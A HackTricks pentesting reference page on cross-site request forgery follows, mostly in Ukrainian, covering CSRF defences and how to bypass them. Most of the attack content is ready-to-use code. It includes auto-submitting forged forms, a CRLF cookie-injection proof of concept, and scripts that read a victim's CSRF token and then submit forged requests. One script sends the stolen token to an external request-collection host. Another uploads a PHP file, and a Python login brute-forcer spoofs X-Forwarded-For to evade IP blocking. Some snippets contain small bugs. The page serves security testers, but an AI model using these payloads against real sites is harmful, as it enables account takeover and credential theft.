hacktricks/pentesting-web/csrf-cross-site-request-forgery.md

32 KiB
Raw Blame History

CSRF (Cross Site Request Forgery)

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Cross-Site Request Forgery (CSRF) Explained

Cross-Site Request Forgery (CSRF) - це тип вразливості безпеки, що зустрічається у веб-додатках. Він дозволяє зловмисникам виконувати дії від імені нічого не підозрюючих користувачів, експлуатуючи їх автентифіковані сесії. Атака виконується, коли користувач, який увійшов до платформи жертви, відвідує шкідливий сайт. Цей сайт потім викликає запити до облікового запису жертви через методи, такі як виконання JavaScript, надсилання форм або отримання зображень.

Prerequisites for a CSRF Attack

Щоб експлуатувати вразливість CSRF, потрібно виконати кілька умов:

  1. Визначити цінну дію: Зловмисник повинен знайти дію, яку варто експлуатувати, наприклад, зміну пароля користувача, електронної пошти або підвищення привілеїв.
  2. Управління сесією: Сесія користувача повинна управлятися виключно через куки або заголовок HTTP Basic Authentication, оскільки інші заголовки не можуть бути змінені для цієї мети.
  3. Відсутність непередбачуваних параметрів: Запит не повинен містити непередбачуваних параметрів, оскільки вони можуть завадити атаці.

Quick Check

Ви можете захопити запит у Burp і перевірити захисти CSRF, а для тестування з браузера ви можете натиснути Copy as fetch і перевірити запит:

Defending Against CSRF

Для захисту від атак CSRF можна реалізувати кілька контрзаходів:

  • SameSite cookies: Цей атрибут запобігає браузеру від надсилання куків разом із запитами з інших сайтів. Більше про куки SameSite.
  • Cross-origin resource sharing: Політика CORS сайту жертви може вплинути на здійсненність атаки, особливо якщо атака вимагає читання відповіді з сайту жертви. Дізнайтеся про обхід CORS.
  • Перевірка користувача: Запит на введення пароля користувача або розв'язання капчі може підтвердити наміри користувача.
  • Перевірка заголовків Referrer або Origin: Валідація цих заголовків може допомогти забезпечити, що запити надходять з надійних джерел. Однак, ретельне формування URL може обійти погано реалізовані перевірки, такі як:
  • Використання http://mal.net?orig=http://example.com (URL закінчується на надійний URL)
  • Використання http://example.com.mal.net (URL починається з надійного URL)
  • Зміна імен параметрів: Зміна імен параметрів у POST або GET запитах може допомогти запобігти автоматизованим атакам.
  • CSRF Tokens: Включення унікального токена CSRF у кожну сесію та вимога цього токена в подальших запитах може значно зменшити ризик CSRF. Ефективність токена можна підвищити, впроваджуючи CORS.

Розуміння та реалізація цих захистів є критично важливими для підтримки безпеки та цілісності веб-додатків.

Defences Bypass

From POST to GET

Можливо, форма, яку ви хочете зловживати, підготовлена для надсилання POST запиту з токеном CSRF, але ви повинні перевірити, чи GET також дійсний і чи, коли ви надсилаєте GET запит, токен CSRF все ще перевіряється.

Lack of token

Додатки можуть реалізувати механізм для перевірки токенів, коли вони присутні. Однак вразливість виникає, якщо перевірка пропускається зовсім, коли токен відсутній. Зловмисники можуть експлуатувати це, видаляючи параметр, що несе токен, а не лише його значення. Це дозволяє їм обійти процес перевірки та ефективно провести атаку Cross-Site Request Forgery (CSRF).

CSRF token is not tied to the user session

Додатки, які не прив'язують токени CSRF до сесій користувачів, представляють значний ризик безпеки. Ці системи перевіряють токени проти глобального пулу, а не забезпечують, щоб кожен токен був прив'язаний до ініціюючої сесії.

Ось як зловмисники експлуатують це:

  1. Аутентифікуються за допомогою свого облікового запису.
  2. Отримують дійсний токен CSRF з глобального пулу.
  3. Використовують цей токен в атаці CSRF проти жертви.

Ця вразливість дозволяє зловмисникам робити несанкціоновані запити від імені жертви, експлуатуючи недостатній механізм перевірки токенів додатка.

Method bypass

Якщо запит використовує "незвичний" метод, перевірте, чи працює функціональність перезапису методу. Наприклад, якщо він використовує метод PUT, ви можете спробувати використати метод POST і надіслати: https://example.com/my/dear/api/val/num?_method=PUT

Це також може спрацювати, якщо надіслати параметр _method всередині POST запиту або використовуючи заголовки:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Custom header token bypass

Якщо запит додає кастомний заголовок з токеном до запиту як метод захисту CSRF, тоді:

  • Перевірте запит без кастомізованого токена та заголовка.
  • Перевірте запит з точною такою ж довжиною, але іншим токеном.

Додатки можуть реалізувати захист CSRF, дублюючи токен як у куки, так і в параметрі запиту або встановлюючи куки CSRF і перевіряючи, чи відповідає токен, надісланий на бекенді, значенню в куки. Додаток перевіряє запити, перевіряючи, чи токен у параметрі запиту відповідає значенню в куки.

Однак цей метод вразливий до атак CSRF, якщо веб-сайт має недоліки, які дозволяють зловмиснику встановити куки CSRF у браузері жертви, такі як вразливість CRLF. Зловмисник може експлуатувати це, завантажуючи оманливе зображення, яке встановлює куки, а потім ініціюючи атаку CSRF.

Нижче наведено приклад того, як може бути структурована атака:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>

{% hint style="info" %} Зверніть увагу, що якщо csrf токен пов'язаний з сесійним кукі, ця атака не спрацює, оскільки вам потрібно буде встановити жертві вашу сесію, і, отже, ви будете атакувати себе. {% endhint %}

Зміна Content-Type

Згідно з цим, щоб уникнути попередніх запитів, використовуючи метод POST, дозволені значення Content-Type:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Однак зверніть увагу, що логіка серверів може варіюватися в залежності від використаного Content-Type, тому вам слід спробувати зазначені значення та інші, такі як application/json,text/xml, application/xml.

Приклад (з тут) відправки JSON даних як text/plain:

<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>

Обхід попередніх запитів для JSON-даних

Коли ви намагаєтеся надіслати JSON-дані через POST-запит, використання Content-Type: application/json в HTML-формі не є безпосередньо можливим. Аналогічно, використання XMLHttpRequest для надсилання цього типу вмісту ініціює попередній запит. Проте існують стратегії, які можуть обійти це обмеження та перевірити, чи сервер обробляє JSON-дані незалежно від Content-Type:

  1. Використовуйте альтернативні типи вмісту: Використовуйте Content-Type: text/plain або Content-Type: application/x-www-form-urlencoded, встановивши enctype="text/plain" у формі. Цей підхід перевіряє, чи бекенд використовує дані незалежно від Content-Type.
  2. Змініть тип вмісту: Щоб уникнути попереднього запиту, забезпечуючи при цьому, щоб сервер розпізнавав вміст як JSON, ви можете надіслати дані з Content-Type: text/plain; application/json. Це не викликає попереднього запиту, але може бути правильно оброблено сервером, якщо він налаштований на прийом application/json.
  3. Використання SWF Flash файлів: Менш поширений, але можливий метод полягає у використанні SWF flash файлу для обходу таких обмежень. Для детального розуміння цієї техніки зверніться до цього посту.

Обхід перевірки Referrer / Origin

Уникайте заголовка Referrer

Додатки можуть перевіряти заголовок 'Referer' лише тоді, коли він присутній. Щоб запобігти надсиланню цього заголовка браузером, можна використовувати наступний HTML мета-тег:

<meta name="referrer" content="never">

Це забезпечує відсутність заголовка 'Referer', що потенційно обминає перевірки валідації в деяких додатках.

Regexp обхід

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Щоб встановити доменне ім'я сервера в URL, який Referrer збирається надіслати всередині параметрів, ви можете зробити:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>

Метод HEAD обхід

Перша частина цього CTF звіту пояснює, що код Oak, маршрутизатор, налаштований на обробку запитів HEAD як запитів GET без тіла відповіді - поширений обхід, який не є унікальним для Oak. Замість конкретного обробника, який займається запитами HEAD, їх просто передають обробнику GET, але додаток просто видаляє тіло відповіді.

Отже, якщо запит GET обмежений, ви можете просто надіслати запит HEAD, який буде оброблений як запит GET.

Приклади експлуатації

Екстракція токена CSRF

Якщо токен CSRF використовується як захист, ви можете спробувати екстрактувати його, зловживаючи вразливістю XSS або вразливістю Dangling Markup.

GET за допомогою HTML тегів

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Інші теги HTML5, які можна використовувати для автоматичної відправки GET-запиту:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">

Форма GET запиту

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Форма POST запиту

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>

Відправка POST запиту через iframe

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Ajax POST запит

<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>

multipart/form-data POST запит

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});

multipart/form-data POST запит v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

Відправка POST запиту зсередини iframe

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

Викрасти CSRF токен і надіслати POST запит

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

Вкрасти CSRF токен і надіслати Post запит, використовуючи iframe, форму та Ajax

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;

document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

Вкрасти CSRF токен і надіслати POST запит за допомогою iframe та форми

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>

Викрасти токен і надіслати його за допомогою 2 iframe

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTВикрадення CSRF токена за допомогою Ajax та відправка POST з формою

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>

CSRF з Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})

});
</script>

CSRF Login Brute Force

Код може бути використаний для брутфорсу форми входу, використовуючи CSRF токен (також використовується заголовок X-Forwarded-For, щоб спробувати обійти можливе блокування IP):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Інструменти

Посилання

Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!

Інсайти з хакінгу
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу

Новини про хакінг в реальному часі
Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі

Останні оголошення
Залишайтеся в курсі нових програм винагород за вразливості та важливих оновлень платформ

Приєднуйтесь до нас на Discord і почніть співпрацювати з провідними хакерами вже сьогодні!

{% hint style="success" %} Вчіться та практикуйте хакінг AWS:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте хакінг GCP: HackTricks Training GCP Red Team Expert (GRTE)

Підтримати HackTricks
{% endhint %}